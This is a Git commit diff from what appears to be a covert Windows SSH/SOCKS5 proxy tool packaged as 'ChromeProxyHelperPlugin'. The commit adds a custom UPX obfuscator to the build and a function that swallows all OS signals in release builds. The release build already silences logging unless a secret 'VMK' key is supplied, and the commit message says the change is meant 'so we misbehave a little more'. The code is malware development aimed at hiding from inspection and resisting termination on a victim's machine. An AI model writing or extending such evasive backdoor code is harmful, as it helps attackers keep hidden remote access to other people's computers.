Add systemIgnoreAllSignals in release build when VMK is not used so we misbehave a little more
This commit is contained in:
parent
ce4ec79f2f
commit
426f76ba37
1
Makefile
1
Makefile
|
|
@ -22,6 +22,7 @@ win: socks5-ssh-proxy.exe
|
||||||
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
||||||
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@
|
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@
|
||||||
upx $@
|
upx $@
|
||||||
|
go run cmd/upx-obfuscator/main.go $@
|
||||||
goreleaser: resources $(GARBLE_BIN)
|
goreleaser: resources $(GARBLE_BIN)
|
||||||
goreleaser build --clean --snapshot --id win-release
|
goreleaser build --clean --snapshot --id win-release
|
||||||
win-package: ChromeProxyHelperPlugin.zip
|
win-package: ChromeProxyHelperPlugin.zip
|
||||||
|
|
|
||||||
|
|
@ -8,6 +8,8 @@ type config struct {
|
||||||
// In release builds the verbose mode is silenced when this key is given
|
// In release builds the verbose mode is silenced when this key is given
|
||||||
// verbose mode is force enabled. The key is read from the "VMK" environment
|
// verbose mode is force enabled. The key is read from the "VMK" environment
|
||||||
// variable at startup.
|
// variable at startup.
|
||||||
|
//
|
||||||
|
// NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile
|
||||||
VerboseModeKey string
|
VerboseModeKey string
|
||||||
|
|
||||||
// SSH server user name
|
// SSH server user name
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
//go:build !release
|
//go:build !release
|
||||||
// +build !release
|
// +build !release
|
||||||
|
|
||||||
//
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import "strings"
|
import "strings"
|
||||||
|
|
|
||||||
5
main.go
5
main.go
|
|
@ -135,6 +135,11 @@ func main() {
|
||||||
|
|
||||||
systemGetWellKnownBinaryPaths()
|
systemGetWellKnownBinaryPaths()
|
||||||
|
|
||||||
|
mainLoop()
|
||||||
|
}
|
||||||
|
|
||||||
|
func mainLoop() {
|
||||||
for {
|
for {
|
||||||
|
// TODO handle CTRL+C in debug and release + VMK modes
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
//go:build !release
|
//go:build !release
|
||||||
// +build !release
|
// +build !release
|
||||||
|
|
||||||
//
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
var resourceSSHPrivateKey string
|
var resourceSSHPrivateKey string
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
//go:build release
|
//go:build release
|
||||||
// +build release
|
// +build release
|
||||||
|
|
||||||
//
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|
@ -16,5 +15,6 @@ func init() {
|
||||||
dontSilenceKey := os.Getenv("VMK")
|
dontSilenceKey := os.Getenv("VMK")
|
||||||
if dontSilenceKey != cfg.VerboseModeKey {
|
if dontSilenceKey != cfg.VerboseModeKey {
|
||||||
systemRouteAllLogging(os.DevNull)
|
systemRouteAllLogging(os.DevNull)
|
||||||
|
systemIgnoreAllSignals()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
18
system.go
18
system.go
|
|
@ -4,6 +4,7 @@ import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
|
"os/signal"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
@ -92,3 +93,20 @@ func systemGetWellKnownBinaryPaths() []string {
|
||||||
|
|
||||||
return existingPaths
|
return existingPaths
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemIgnoreAllSignals() {
|
||||||
|
// Create a channel to receive OS signals.
|
||||||
|
sigs := make(chan os.Signal, 1)
|
||||||
|
|
||||||
|
// Notify the signal channel for all signals (you can add more if needed)
|
||||||
|
signal.Notify(sigs)
|
||||||
|
|
||||||
|
// This goroutine receives signals but does nothing with them.
|
||||||
|
go func() {
|
||||||
|
for sig := range sigs {
|
||||||
|
// Signal received but ignored
|
||||||
|
_ = sig
|
||||||
|
log.Println("Received OS signal", sig)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue